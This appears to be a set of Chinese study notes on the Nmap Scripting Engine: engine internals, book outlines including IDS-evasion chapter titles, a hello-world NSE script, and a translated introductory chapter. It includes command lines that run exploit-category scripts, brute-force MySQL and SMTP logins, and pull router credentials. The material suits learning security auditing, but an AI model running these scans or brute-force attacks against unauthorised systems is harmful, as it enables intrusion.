当 NSE 运行脚本扫描时,script_scan
在nse_main.cc
. 由于存在三个脚本扫描阶段,因此script_scan
接受两个参数,一个脚本扫描类型可以是以下值之一:( SCRIPT_PRE_SCAN
脚本预扫描阶段)或 SCRIPT_SCAN
(脚本扫描阶段)或 SCRIPT_POST_SCAN
(脚本后扫描阶段),以及第二个参数如果脚本扫描阶段是,这是要扫描的目标列表SCRIPT_SCAN
。这些目标将被传递给nse_main.lua
主函数进行扫描。
脚本扫描的主函数根据rule
函数是否返回 true 生成多个脚本线程。生成的线程存储在运行级别列表的列表中。每个运行级别的线程列表都单独传递给 run
函数。该run
函数是 NSE 的主要工作函数,所有的魔法都在这里发生。
该run
函数的目的是在运行级别中运行所有线程,直到它们全部完成。然而,在这样做之前, run
重新定义一些有助于 C 代码运行的 Lua 注册表值。一个这样的功能, _R[WAITING_TO_RUNNING]
,允许用 C 编写的网络库绑定将线程从等待队列移动到运行队列。脚本一直运行,直到运行队列和等待队列都为空。产生的线程被移动到等待队列;准备好继续的线程被移回运行队列。循环继续,直到线程退出或以错误结束。除了等待队列和运行队列之外,还有一个挂起队列。在运行队列的新迭代开始之前,它充当从等待队列移动到运行队列的线程的临时位置。
10. 检测和破坏防火墙和入侵检测系统
介绍
为什么道德专业人士(白帽)会这样做?
确定防火墙规则
标准syn扫描
返回 RST 的卑鄙Sneaky防火墙
ACK扫描
IP ID 技巧
UDP版本扫描
绕过防火墙规则
奇异的Exotic 扫描标志
源端口操控Manipulation
IPv6 攻击
IP ID空闲扫描
多种 Ping 探针
分片
代理
MAC 地址欺骗
源路由
FTP 反弹扫描
采取替代路径方法(译者注:不可渗透系统不能才常规操作)
防火墙破坏Subversion的真实实例
破坏入侵检测系统
入侵检测系统检测
反向探针
突然的Sudden防火墙更改和可疑的suspicious 数据包
命名约定
无法解释的 TTL 跳跃
避免入侵检测系统
减速
将探测分散Scatter 到网络中,而不是连续扫描主机
分片数据包
规避特定规则
避免容易检测到的 Nmap 特征
误导入侵检测系统
诱饵 Decoys
端口扫描欺骗
空闲扫描
DNS 代理
针对反应式系统的 DoS 攻击
利用入侵检测系统
忽略入侵检测系统
通过防火墙和入侵检测系统检测数据包伪造Forgery
寻找 TTL 一致性Consistency
查找 IP ID 和序列号的一致性
假的BOGUS TCP 校验和技巧
往返时间
数据包头和内容的仔细分析
不寻常的网络均匀性Uniformity
11. 反nmap
介绍
主动扫描,然后关闭或阻止端口并修复漏洞
使用防火墙阻止和减速 Nmap
检测 Nmap 扫描
聪明诡计Clever Trickery
在不起眼的端口Obscure Ports上隐藏服务
端口敲击
蜜罐和蜜网
操作系统欺骗
焦油坑Tar Pits
反应式端口扫描检测
不断升级的Escalating 军备竞赛
12. Zenmap GUI 用户指南
之后介绍
13. Nmap 输出格式
介绍
命令行标志
控制输出类型
控制输出的详细程度
启用调试输出
启用数据包跟踪
恢复中止的扫描
交互式输出
正常输出 ( -oN)
脚本小子输出 $crIpT kIddI3 0uTPut ( -oS)
XML 输出 ( -oX)
使用 XML 输出
使用 Perl 操作 XML 输出
通用平台列举 (CPE)
CPE 名称的结构
输出到数据库
创建 HTML 报告
保存永久Permanent HTML 报告
可过滤Grepable 输出 ( -oG)
可过滤输出字段
Host字段
Status字段
Ports字段
Protocols字段
Ignored State字段
OS字段
Seq Index字段
IP ID Seq字段
在命令行上解析可过滤输出
介绍
开源安全工具的一个普遍问题是令人费解和杂乱无章的输出。它们通常会涌出许多行不相关的调试信息,迫使用户翻阅数页的输出,试图从噪音中分辨出重要结果。输出信息可能难以理解,而且缺乏文档。这点并不令人惊讶--因为编写聪明的代码来利用一些TCP/IP的弱点,通常比文档或UI工作更令人满意。由于开放源码的作者很少得到报酬,他们做他们喜欢的事情。
冒着得罪我朋友 Dan Kaminsky 的风险,我将他的 Scanrand 端口扫描器作为一个例子,这个程序的开发显然更注重简洁的技术技巧,而不是用户友好的UI。示例13.1中的示例输出来自 Scanrand 文档页面。
bash-2.05a# scanrand 10.0.1.1-254:quick
UP: 10.0.1.38:80 [01] 0.003s
UP: 10.0.1.110:443 [01] 0.017s
UP: 10.0.1.254:443 [01] 0.021s
UP: 10.0.1.57:445 [01] 0.024s
UP: 10.0.1.59:445 [01] 0.024s
UP: 10.0.1.38:22 [01] 0.047s
UP: 10.0.1.110:22 [01] 0.058s
UP: 10.0.1.110:23 [01] 0.058s
UP: 10.0.1.254:22 [01] 0.077s
UP: 10.0.1.254:23 [01] 0.077s
UP: 10.0.1.25:135 [01] 0.088s
UP: 10.0.1.57:135 [01] 0.089s
UP: 10.0.1.59:135 [01] 0.090s
UP: 10.0.1.25:139 [01] 0.097s
UP: 10.0.1.27:139 [01] 0.098s
UP: 10.0.1.57:139 [01] 0.099s
UP: 10.0.1.59:139 [01] 0.099s
UP: 10.0.1.38:111 [01] 0.127s
UP: 10.0.1.57:1025 [01] 0.147s
UP: 10.0.1.59:1025 [01] 0.147s
UP: 10.0.1.57:5000 [01] 0.156s
UP: 10.0.1.59:5000 [01] 0.157s
UP: 10.0.1.53:111 [01] 0.182s
bash-2.05a#
虽然这确实完成了工作,但很难解释。根据收到响应的时间打印输出,没有任何用于对端口号进行排序甚至将目标主机上的所有开放端口分组在一起的选项。每行开头附近浪费了大量空间,并且没有提供结果摘要。
Nmap的输出也远非完美,尽管我确实很努力地使它可读、有条理和灵活。鉴于Nmap被人们和其它软件使用的方式很多,没有一种格式可以让所有人满意。所以Nmap提供几种格式,包括供人直接阅读的交互式模式和便于软件解析的XML。
除了提供不同的输出格式外,Nmap 还提供了用于控制输出的详细程度以及调试消息的选项。输出类型可以发送到标准输出或命名文件,Nmap 可以附加 或 删除再添加 这些文件。输出文件也可用于恢复中止的扫描。本章包含有关这些选项和每种输出格式的全部细节。
14. 理解和自定义 Nmap 数据文件
介绍
周知端口列表:nmap-services
版本扫描数据库:nmap-service-probes
SunRPC 号:nmap-rpc
Nmap 操作系统检测数据库:nmap-os-db
UDP有效载荷:nmap-payloads
MAC 地址供应商前缀:nmap-mac-prefixes
IP 协议号列表:nmap-protocols
与脚本相关的文件
使用自定义数据文件
15. Nmap 参考指南
描述
选项摘要
目标规格
主机发现
端口扫描基础
端口扫描技术
端口规格和扫描顺序
服务和版本检测
操作系统检测
Nmap 脚本引擎 (NSE)
时间和性能
防火墙/IDS 规避和欺骗
输出
其他选项
运行时交互
例子
Nmap书
错误
作者
法律声明
Nmap 版权和许可
本 Nmap 指南的知识共享许可
源代码可用性和社区贡献
没有保证
不当使用
第三方软件和资助通知
美国出口管制
16. Ndiff 参考指南
之后介绍
17. Ncat 参考指南
之后介绍
18. Nping 参考指南
之后介绍
第一个nse脚本
在80端口打印hello world
--导入shortport包,虽然后面没有用到
local shortport = require "shortport"
--帮助描述
description = [[]]
--作者描述
author = "root"
--版权描述
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
--脚本分类描述
categories = {"default"}
--定义端口扫描阶段后的触发器
portrule = function( host, port )
return port.protocol == "tcp" and port.number == 80 and port.service == "http" and port.state == "open"
end
--定义触发器触发后的行为
action = function(host, port)
return " heoll world,This is a WebServer"
end
my-http-detect.nse
移动到/usr/share/nmap/scripts/
文件下面
命令行执行
nmap --script-updatedb
然后
我们知道编写NSE脚本,主要是写rule函数和action,rule函数返回true时,action函数执行。
掌握Nmap脚本引擎
掌握Nmap脚本引擎和开发NSE脚本的艺术
目录
前言
第1章: Nmap脚本引擎简介
安装Nmap
从源代码构建Nmap
保持Nmap的更新
运行NSE脚本
脚本分类
NSE 脚本选择
按脚本名称或分类进行选择
通过文件名或文件夹进行选择
用表达式进行高级脚本选择
NSE 脚本参数
从文件中加载脚本参数
强制执行NSE 脚本
调试NSE 脚本
扫描阶段和NSE
NSE 脚本规则
NSE脚本的应用
信息收集
收集UPNP信息
查找到所有解析到同一IP地址的主机名
高级主机发现
用广播ping包发现主机
监听你的局域网去发现目标
密码审计
爆破MySQL密码
爆破SMTP密码
漏洞扫描
检测不安全的MySQL服务器配置
检测易受慢速拒绝服务攻击的web服务器漏洞
检测易受CVE-2014-3566攻击的SSL服务器漏洞
配置开发环境
Halcyon IDE
添加新的脚本
摘要
第二章:Lua基础
关于Lua快速说明
注释
虚假分配
索引
语义学
强制多态
安全语言
布尔
流程控制结构
条件性语句--if-then、else和 elseif
循环 - while
循环 - repeat
循环 - for
数据类型
字符串处理
字符类
魔术字符
模式
捕获
重复操作符
级联
寻找子串
字符串重复
字符串长度
格式化字符串
拆分和连接字符串
常见的数据结构
表
数组
链接列表
集合
队列
自定义数据结构
http-enum 数据库
http-default-accounts
I/O操作
模式
打开文件
读取文件
写入文件
关闭文件
协同程序
创建协同程序
执行协同程序
确定运行中的协同程序
获取协同程序的状态
产生协同程序
元表和元方法
算术元方法
关系型元方法
摘要
第三章:NSE数据文件
找到你的数据存放目录
数据目录搜索顺序
在爆破攻击中使用的用户名和密码列表
用户名 字典
密码 字典
web应用程序审计数据文件
http-fingerprints.lua
http-sql-errors.lst
http-web-files-extensions.lst
http-devframework-fingerprints.lua
http-folders.txt
vhosts-default.lst
wp-plugins.lst
DBMS-审计数据文件
mysql-cis.audit
oracle-default-accounts.lst
oracle-sids
Java调试线协议数据文件
JDWPExecCmd.java
JDWPSystemInfo.class
其他NSE数据文件
mygroupnames.db
rtsp-urls.txt
snmpcommunities.lst
ssl-ciphers
ssl-fingerprints
ike-fingerprints.lua
tftplist.txt
其他Nmap数据文件
摘要
第4章: 探索Nmap脚本引擎API与库
了解NSE脚本的结构
其他NSE脚本字段
作者
许可
依赖
一个NSE脚本示例
探索环境变量
访问Nmap API
NSE参数
主机表
端口表
NSE 脚本中的异常处理
NSE注册
编写NSE库
扩展一个NSE 库的功能
C/C++中的NSE模块
探索其他流行的NSE库
stdnse
openssl
target
shortport
creds
vulns
http
摘要
第5章:增强版本检测
了解NSE88中的版本检测模式
版本检测的各个阶段
调整版本扫描的稀有程度
更新版本探针数据库
仔细研究文件格式
从版本检测中排除扫描的端口
使用回退来匹配其他版本探针
了解后处理程序
Nmap 脚本引擎
SSL
编写你自己的版本检测脚本
定义版本检测脚本的类别
定义版本检测脚本的端口规则
更新端口版本信息
设置匹配可信度
版本检测脚本的例子
NSE脚本 - modbus-discover
NSE脚本 - ventrilo-info
NSE脚本 - rpc-grind
摘要
第6章:开发爆破密码审计脚本
与NSE Brute库一起工作
选择爆破模式
实现驱动类
传递库和用户选项
通过账号对象返回有效账号
用Error类优雅地处理执行错误
用NSE unpwdb 库读取用户名和密码列表
管理扫描中发现的用户凭证
针对MikroTik RouterOS的API编写一个NSE脚本来发动密码审计攻击
摘要
第7章:格式化脚本输出
输出格式和Nmap脚本引擎
XML结构化输出
在你的脚本中实现结构化输出
打印详细信息
包含调试信息
可过滤格式的弱点
HTML报告中的NSE脚本输出
摘要
第8章:使用网络套接字和二进制数据
使用NSE套接字
创建一个NSE 套接字
使用NSE 套接字连接到主机
使用NSE 套接字发送数据
使用NSE 套接字接收数据
关闭NSE 套接字
脚本示例--通过NSE 套接字发送存储在文件中的有效载荷
了解高级网络I/O
打开一个套接字用于原始数据包捕获
接收原始数据包
向/从IP和以太网层发送数据包
操纵原始数据包
打包和解包二进制数据
构建以太网框架
原始数据包处理和NSE套接字
摘要
第9章:并发
Nmap中的并发选项
同时扫描多个主机
增加发送探针的数量
定时模板
Lua中的并发机制
协调程序
使用协调程序工作
NSE中的并发机制
NSE线程
条件变量
互斥器
用NSE消耗TCP连接
摘要
第十章:漏洞检测和利用
漏洞扫描
NSE漏洞利用类别
漏洞利用 RealVNC
检测有漏洞的 Windows系统
漏洞利用臭名昭著的heartbleed
在web应用中利用 shellshock
报告漏洞
在你的NSE 脚本中使用vulns库
摘要
附录A:扫描阶段
附录B:NSE脚本模板
其他在线模板
附录C:脚本类别
附录D。Nmap选项思维导图
附录E:参考文献
索引
前言
第1章: Nmap脚本引擎简介
安装Nmap
从源代码构建Nmap
保持Nmap的更新
运行NSE脚本
脚本分类
NSE 脚本选择
按脚本名称或分类进行选择
通过文件名或文件夹进行选择
用表达式进行高级脚本选择
NSE 脚本参数
从文件中加载脚本参数
强制执行NSE 脚本
调试NSE 脚本
扫描阶段和NSE
NSE 脚本规则
NSE脚本的应用
信息收集
收集UPNP信息
查找到所有解析到同一IP地址的主机名
高级主机发现
用广播ping包发现主机
监听你的局域网去发现目标
密码审计
爆破MySQL密码
爆破SMTP密码
漏洞扫描
检测不安全的MySQL服务器配置
检测易受慢速拒绝服务攻击的web服务器漏洞
检测易受CVE-2014-3566攻击的SSL服务器漏洞
配置开发环境
Halcyon IDE
添加新的脚本
摘要
前言
掌握Nmap脚本引擎将带领您完成为Nmap脚本引擎(NSE)开发Lua脚本的过程。Nmap脚本引擎的能力在10个章节中进行了探讨。它们涵盖基本概念、操作和库,教您如何用自定义任务扩展Nmap扫描。
我为这本书选择的信息试图回答Nmap开发邮件列表上收到的最常见的问题之一。"我如何开始编写NSE脚本?"我试图用例子和具体的任务实现来解释每个概念。期待阅读大量的代码!真正学到东西的唯一方法是实践,所以不要只是略过这本书;在每一章都停下来,尝试编写新的NSE脚本。我还创建了一个网站(http://www.mastering-nse.com),我将在那里发布新闻、补充内容和其他惊喜。
我希望您喜欢这本书,并希望它能帮助您完成掌握Nmap脚本引擎的道路。
本书的内容
第1章,Nmap脚本引擎简介,包括Nmap脚本引擎的基本原理和它的应用。
第2章,Lua基础知识,描述了Lua编程的基础知识。
第3章,NSE数据文件,包括NSE数据库,并教你如何微调
他们来优化结果。
第4章,探索Nmap脚本引擎API和库,探索Nmap脚本引擎API和最重要的NSE库的用法。
第5章,增强版本检测,解释了Nmap版本检测引擎和NSE版本脚本。
第6章,开发爆破密码审计脚本,描述了实现Brute类以创建强大的爆破密码审计脚本的过程。
第7章,格式化脚本输出,包括Nmap和NSE的不同输出模式。
第8章,使用网络套接字和二进制数据,教给你所有与网络I/O操作和处理二进制数据有关的主题。
第9章,并发,介绍了Lua和Nmap脚本引擎中的并发和协作式多任务的概念。
第10章,漏洞检测和利用,包括用Nmap脚本引擎进行漏洞利用。
附录A,扫描阶段,解释了Nmap扫描的不同阶段。
附录B,NSE脚本模板,涵盖了NSE脚本的必要字段和结构。
附录C,脚本类别,展示了可用的NSE类别。
附录D,Nmap选项思维导图,用思维导图说明Nmap的所有可用选项。
附录E,参考文献,包括本书的所有参考文献和补充阅读的链接。
这本书你需要什么
您将需要一个Nmap(6.x)的最新版本来学习本书的例子。
请参阅第1章,Nmap脚本引擎简介,了解安装说明。
对于第2章,Lua基础,你可能还需要在你的系统上安装一个Lua解释器。
本书适用于谁
本书针对希望掌握Nmap脚本引擎和开发NSE脚本的艺术的人。它非常适合网络管理员、信息安全专家,甚至是熟悉Nmap但知道他们错过了Nmap脚本引擎的一些神奇功能的互联网爱好者。本书将使读者不仅有能力使用Nmap脚本引擎,而且有能力通过开发定制的NSE脚本扩展Nmap的能力。
Nmap脚本引擎简介
Nmap脚本引擎(NSE)彻底改变了Nmap的能力。它是在2007年Google的代码之夏期间推出的,它本身已经成为一个有近500个官方脚本的兵工厂。尽管第一批脚本的目的是改进服务和主机检测,但人们很快开始为其他任务提交脚本。今天,有14个类别涵盖了广泛的任务,从网络发现到安全漏洞的检测和利用。你可以使用NSE脚本对弱口令的账户进行爆破,用不同的广播请求找到在线主机,嗅探网络,发现web服务器中被遗忘的备份文件,检测被称为Poodle的最新SSL 3.0漏洞,甚至利用流行软件的漏洞。
脚本集增长很快,所以我建议通过订阅Nmap开发邮件列表保持最新状态,地址是http://nmap.org/ mailman/listinfo/dev。Nmap的社区非常活跃,所以我鼓励您在您的渗透测试工具中始终保持一个更新的副本。
NSE脚本是起草概念验证代码的好帮手,因为这些模块是用Lua写的,这是一种简单而强大的语言。它允许我们在现有的NSE库的帮助下,快速对我们心中的任何任务进行编程。它灵活的语法很容易学习,我相信你在实验了一天后会发现自己很喜欢它。
本章将向你介绍NSE,包括从安装和开发环境设置到高级使用技巧的几个主题。如果你熟悉以下主题,你可以跳过本章。
- 从源代码构建Nmap
- 运行NSE脚本
- 向NSE脚本传递参数
- 扫描阶段
- NSE应用
- 建立一个开发环境
如果你对NSE还不熟悉,这一章会让你对接下来的章节有所准备。对于那些有一定经验的人来说,我还是建议你看一下这一章,因为我包括了与脚本选择和使用有关的高级技巧。打开你的终端,让我们开始工作吧。
安装Nmap
所有主要平台的Nmap二进制文件都可以在官方网站找到,网址是http://nmap.org/download.html。很多发行版也提供官方软件包。然而,如果您想要最新的功能和NSE脚本,您需要和开发分支一起工作。这个分支的代码比名字所暗示的更稳定,因为开发者在提交到这个分支之前,要确保他们的代码是正常的。通过总是运行开发分支的副本,你也总是能得到最新的错误修复。
从源代码构建Nmap
Nmap使用Subversion,著名的版本控制系统(VCS),来管理项目的源代码。首先,确保您有一个Subversion客户端在手。
在基于Debian的系统上,你可以通过运行以下命令来安装Subversion。
Subversion的一个很好的替代品是RapidSVN,一个具有图形用户界面的跨平台Subversion客户端。你可以从http://rapidsvn.tigris.org/ 获得RapidSVN。
一旦安装了Subversion客户端,我们就从官方仓库中抓取开发分支,命令如下。
$svn co https://svn.nmap.org/nmap
前面的命令将开发分支的最新版本下载到你当前目录下的一个新目录中。我们将把这个文件夹称为你的工作副本。在编译之前,你可能需要额外的工具和库,如OpenSSL。通过运行下面的命令,确保你已经安装了所有的要求。
#apt-get install make g++ libssl-dev autoconf
现在我们可以编译和安装Nmap。进入刚才由Subversion创建的nmap目录,输入以下命令。
$./configure
如果一切工作正常,您应该看到一条ASCII龙警告您Nmap的力量,像这样。
现在让我们用以下命令编译Nmap。
在BSD系统中,运行gmake而不是make。
现在运行Nmap以确保它被正确安装。您应该看到您的构建信息。
保持Nmap的最新状态
要更新你的工作副本,在你的工作目录中使用以下命令。
$svn up
一旦您的工作副本与远程资源库同步,我们需要重建Nmap。
再次在系统中安装二进制文件和数据文件,使用这个命令。
#make install
运行NSE脚本
NSE在设计时考虑到了灵活性,并支持一些功能来控制NSE脚本的执行。在本章中,我们将了解到,NSE脚本不仅可以在不同的扫描阶段执行,而且还可以根据主机条件,以较高的精细度来选择。结合强大的库和大量的配置选项,NSE提供了一个其他工具和框架难以比拟的灵活性水平。
我们可以开始用scanme.nmap.org这个主机测试NSE。这个服务器由Nmap项目管理,允许用户扫描,只要扫描不是太具侵入性。让我们开始对我们的测试目标-scanme.nmap.org运行一个版本检测和NSE启用的扫描。
#nmap -sV -sC -O scanme.nmap.org
你应该看到与此类似的东西。
前面的命令用操作系统检测(-O)、服务检测(-sV)和最重要的NSE开启(-sC)进行了SYN扫描。-sC选项启用NSE并运行默认类别中的任何脚本。这套脚本被认为是安全的,因为它不会执行任何可能干扰目标主机上运行的服务的操作。然而,请注意,有些脚本执行的操作会引起入侵检测系统(IDS)和入侵防御系统(IPS)的警报。
非特权扫描不能访问原始套接字,这通常会导致较慢的扫描。但是,当Nmap以特权模式运行时,SYN扫描是默认的扫描类型。
安全类别包含这样的脚本。
- banner。这将打印一个TCP连接到一个开放端口的响应。
-
broadcast-ping。它通过广播ping来发现主机
- dns-recursion。检测允许递归的DNS服务器,可能用于DNS放大攻击
- upnp-info。它从upnp服务中提取信息
- firewalk。这试图使用IP TTL过期技术来发现防火墙。
前面提到的脚本只是少数,而目前的总数将近500个。这是一个可以通过简单地使用NSE来收集更多的信息。
脚本类别
NSE脚本的收集分为以下几类。
脚本类 |
描述 |
认证 |
与用户认证有关的NSE脚本。 |
广播 |
一类非常有趣的脚本,利用广播请愿来收集网络信息。 |
爆破 |
用于帮助进行密码爆破审计的脚本的类别。 |
默认 |
执行脚本扫描时执行的脚本(-sC)。 |
发现 |
与主机和服务发现有关的脚本。 |
dos |
与拒绝服务攻击有关的脚本。 |
漏洞利用 |
用于利用安全漏洞的脚本。 |
外部 |
这个类别是针对依赖于第三方服务的脚本。 |
模糊器 |
NSE脚本专注于模糊处理。 |
侵入 |
为那些可能会崩溃或产生大量网络噪音的脚本分类。系统管理员可能会认为这些脚本具有侵入性,所以放在这里。 |
恶软 |
一个与恶意软件检测有关的脚本类别。 |
安全 |
在所有情况下都被认为是安全的脚本。 |
版本 |
用于高级版本检测的脚本。 |
漏洞 |
与检测和利用安全漏洞有关的脚本。 |
NSE脚本选择
Nmap支持--script选项来选择脚本。这个选项可以接受脚本名称、NSE类别、NSE文件的路径、包含脚本的文件夹,甚至是一个表达式。表达式允许在选择脚本时有难以置信的灵活性,我们将在下面几节看到。
支持文件名,目录,逻辑运算符,通配符
通过脚本名称或类别进行选择
您可以用--script Nmap选项按其名称执行脚本。用逗号把几个脚本分开,就可以同时执行。
nmap --script http-title <target>
nmap -p80 --script http-huawei-hg5xx-vuln <target>
nmap --script http-title,http-methods <target>.
下面的截图显示了http-huawei-hg5xx-vuln脚本的输出。该脚本利用huawei设备的远程漏洞,检索敏感信息,其中包括PPPoE凭证和无线安全配置。
要选择整个类别,只需使用该类别的名称(见脚本类别部分)作为参数。例如,要运行 "
nmap --script exploit <target>
你也可以通过用逗号分隔来运行几个类别。
nmap --script discovery,intrusive <target>
-sC选项只是--script默认选项的一个别名。
通过文件名路径或文件夹路径进行选择
要执行一个NSE脚本文件,使用这个命令。
nmap --script /path/to/script.nse <target>.
与类别类似,你可以通过用逗号分隔路径来执行几个脚本。
nmap --script /path/to/script.nse,/another/path/script2.nse <target>。
要执行一个文件夹中包含的所有脚本,你只需要把文件夹的名称作为一个参数传过去。
nmap --script /path/to/folder/ <target >
nmap --script /custom-nse-scripts/ scanme.nmap.org
请记住 --script 选项接受脚本和文件夹的相对和绝对路径。除了当前目录,相对路径可以在下列目录中寻找。
-
--datadir
- $NMAPDIR
- ~/.nmap
- %HOMEPATH%\AppData\Roaming\nmap
- 包含nmap的目录
- 包含nmap的目录,后面是这个相对路径:.../share/nmap
-
NMAPDATADIR
用表达式进行高级脚本选择
表达式是用来描述一组脚本的。让我们来看看我们可以利用表达式进行脚本选择的不同场景。
- 例如,not exploit表达式将匹配任何不属于exploit类别的脚本。
#nmap -sV --script "not exploit" <target>
- or和and运算符使我们能够构建更复杂的表达式。下面的表达式将匹配任何不属于侵入性、dos或利用性类别的脚本。
#nmap --script "not(intrusive or dos or exploit)" -sV <target>.
- 如果我们想在广播和发现中执行所有的脚本类别,我们使用这个。
- 如果你正在选择脚本,你也可以使用通配符,*。
#nmap --script "snmp-*" <target>
- 当然,我们可以结合通配符和表达式。例如,让我们运行所有名字以http-开头的脚本,但不包括http-slowloris、http-brute、http-form-fuzzer和http-enum脚本。
#nmap --script "http-* and not(http-slowloris or http-brute or http-enum or http-form-fuzzer)" <target>.
- 在选择类别时,我们还可以将通配符选择与表达式结合起来。下一条命令是执行所有名字以http-开头,但没有被列入利用类别的脚本。
#nmap --script "http-* and not(exploit)" <target>.
NSE脚本参数
--script-args Nmap选项用来设置NSE脚本的参数。 例如,如果您想设置http库参数,useragent,您可以用这个表达式。
$nmap -sV --script http-title --script-args http.useragent="Mozilla 1337" <target>.
不是很多Nmap用户知道这个,但是您在设置参数时也可以省略参数脚本名称。
$nmap -p80 --script http-trace --script-args path <target>
你可以使用前面的表达式来代替这个表达式
$nmap -p80 --script http-trace --script-args http-trace.path <目标>。
如果使用共享参数名称的脚本,则必须手动避免名称冲突,如果可以区分则无需指定名称
$nmap --script http-majordomo2-dir-traversal,http-axis2-dir-traversal
--script-args http-axis2-dir-traversal.uri=/axis2/,uri=/ majordomo/ <target>.
$nmap --script http-majordomo2-dir-traversal,http-axis2-dir-traversal
--script-args uri=/axis2/,http-majordomo2-dir-traversal.uri=/ majordomo/ <target>.
脚本参数中的别名只有在NSE脚本使用stdnse.get_script_args()函数加载参数时才能起作用(参考第4章,探索Nmap脚本引擎API和库)。我们鼓励您总是使用这个函数,但是有一些脚本是在这个函数被引入之前提交的。
从 文件中加载脚本参数
如果你打算进行多次扫描,把你的脚本参数写在一个文件中以节省一些打字的时间,可能是一个好主意。NSE支持使用--script-args-file选项从绝对或相对路径加载NSE参数。文件中包含的参数必须用逗号或新行来分隔。
nmap --script "discovery,broadcast" --script-args-file nmap-args.txt <target>。
nmap-args.txt文件的内容如下。
强制执行NSE脚本
Nmap可以通过在脚本名称前加上+来强制执行一个NSE脚本。
$nmap --script +<script selection> <<arg1, arg2, ...>。
比方说,我们想对运行在1212端口的服务强制执行http-title NSE脚本。
$nmap --script +http-title -p1212 192.168.1.210
如果没有 "+"号,脚本就不会运行,但是,自从我们添加了 "+"号之后,报告的结果如下。
调试NSE脚本
如果你需要分析NSE发送和接收的流量,请使用--script-trace
选项。例如,如果你想看到NSE脚本在漏洞类别中发送的有效载荷,你可以使用这个表达式。
#nmap --script exploit --script-trace <target>
您也可以使用-d[1-9]标志打开Nmap的调试模式。
这个标志后面可以跟一个整数,表示调试级别,应该在1到9之间。级别越高,输出越详细
#nmap -sV --script exploit -d3 <target>
——packet-trace”选项不仅包括NSE产生的流量,还包括所有发送和接收的报文
#nmap -O --script myscript.nse --packet-trace <目标>。
扫描阶段和NSE
Nmap扫描分为几个阶段,但是NSE只参与其中的三个阶段:扫描前,脚本扫描,和扫描后。NSE脚本中一个函数定义的执行规则决定它是否在这些阶段中运行。
要了解更多关于Nmap扫描的阶段,请查看附录A,扫描阶段。
NSE脚本规则
NSE脚本可以有四种不同类型的执行规则之一。
-
• prerule• postrule• portrule• hostrule
让我们回顾一下这些不同脚本规则的一些例子。这也会帮助你学会调试脚本,以应对那些遇到问题的时候。
- prerule()。下面是target-sniffer.nse NSE脚本的一个片段。它说明了我们如何使用prerule函数来检查Nmap是否在特权模式下运行,以及它是否能正确确定网络接口。
- postrule()。ssh-hostkey脚本使用postrule函数来检测共享相同SSH公钥的主机。
postrule = function() return (nmap.registry.sshhostkey ~= nil)
end
- portrule(host, port)。下面是jdwp-inject脚本的portrule函数的一个片段。这个portrule函数将匹配一个服务检测字符串和特定的端口协议和状态。
- hostrule()。sniffer-detect脚本的host规则决定了该脚本只在本地以太网主机上执行。
hostrule = function(host)
--inet表示tcp/ipv4协议栈
if nmap.address_family() ~= 'inet' then
stdnse.print_debug("%s is IPv4 compatible only.", SCRIPT_NAME)
return false
end
--inet 表示本地接口类型
if host.directly_connected == true and host.mac_addr ~= nil and host.mac_addr_src ~= nil and host.interface ~= nil then
local iface = nmap.get_interface_info(host.interface)
if iface and iface.link == 'ethernet' then
return true
end
end
return false
end
NSE脚本的应用
正如您现在可能知道的,NSE的应用涵盖了广泛的任务。Nmap允许NSE开发者访问一个 "主机和端口 "表,其中包含扫描期间收集的相关信息,比如服务名称、操作系统、协议等等。可用的信息取决于扫描期间使用的选项。
不幸的是,一章中没有足够的空间来涵盖所有伟大的NSE脚本。如果您有兴趣学习更多的应用,我推荐您看看我以前的书,名为Nmap 6: Network Exploration and Security Auditing Cookbook, Paulino Calderón Pale, Packt Publishing,其中我详细介绍了可以用Nmap完成的120多个不同的任务。它的官方网站是:http://nmap-cookbook.com。
信息收集
信息收集是NSE的优势之一,而可用的脚本集合是令人惊讶的。这些脚本使用不同的技术和数据源来获得额外的主机信息,如虚拟主机、服务版本、用户列表,甚至是地理定位。请记住,其中一些脚本查询外部服务,信息的准确性取决于每个数据库。
收集UPNP信息
UPNP协议被设计成允许网络设备互相寻找,在这些协议集的很多实现中,已经发现了一些严重的缺陷。upnp-info脚本被设计用来查询一个UPNP服务,以获得关于设备的额外信息。
#nmap -sU -p1900 --script upnp-info <目标
如果前面的命令运行成功,服务所返回的信息量取决于设备的类型和UPNP的实现。
找到所有解析到同一IP地址的主机名
hostmap-* 脚本集列出了指向同一IP地址的所有主机名。这在处理那些根据主机名头返回不同内容的web服务器时很有用。目前,有三个脚本
-
• hostmap-bfk• hostmap-robtex• hostmap-ip2hosts
我们可以用以下命令同时运行它们。
$nmap -sn --script "hostmap*" <target>。
如果外部数据库上有任何记录,它们将显示在结果中。
先进的主机发现
允许预扫描和后扫描脚本的灵活性使我们有能力即时包括目标,分析扫描结果,甚至启动额外的探针来检测更多的目标主机。广播NSE类别收集了一组非常有趣的脚本,它不使用多播请求直接向目标主机发送流量。另一方面,有些脚本(如target-sniffer)只是监听本地网络以寻找新的目标,不产生任何流量。
用广播ping发现主机
广播ping脚本试图通过向广播地址(255.255.255.255)发送ping请求来发现主机。被配置为响应广播请求的机器将显示出自己。
Nmap done: 0 IP addresses (0 hosts up) scanned in 3.25 seconds。
所有响应广播ping的主机将被显示出来。另外,使用newtargets参数,这些主机将被添加到扫描队列中。
倾听你的局域网以发现目标
targets-sniffer脚本非常奇特,因为它是少数几个真正嗅探局域网网络以发现新的本地目标的脚本之一。这个脚本需要特权模式,而且您要用Nmap的-e选项来设置接口。
作为选择,这些目标也可以被添加到扫描队列中。
密码审计
由于爆破NSE库的存在,密码审计脚本已经发展到覆盖很多不同的服务。这个库允许NSE开发者通过实现一个简单的类,使用其他的NSE库,轻松发起字典攻击
比如unpwd,它可以访问一个用户名和密码数据库。如果在执行过程中发现任何凭证,它们将被添加到一个凭证数据库中,可以被其他脚本读取。
爆破MySQL密码
mysql-brute脚本将帮助我们对本地或远程MySQL服务器进行密码审计。在大多数配置中,MySQL不会对登录重试进行限制,所以这是一个利用弱口令的良好载体。
$nmap -p3306 --script mysql-brute <target>.
如果发现任何凭证,它们将被包括在脚本输出中。
爆破SMTP密码
smtp-brute脚本是为了帮助对SMTP服务器进行密码审计攻击而编写的,正如其名。
$nmap -p25 --script smtp-brute <target>
这个脚本的输出与其他依赖于brute库的脚本的输出类似
漏洞扫描
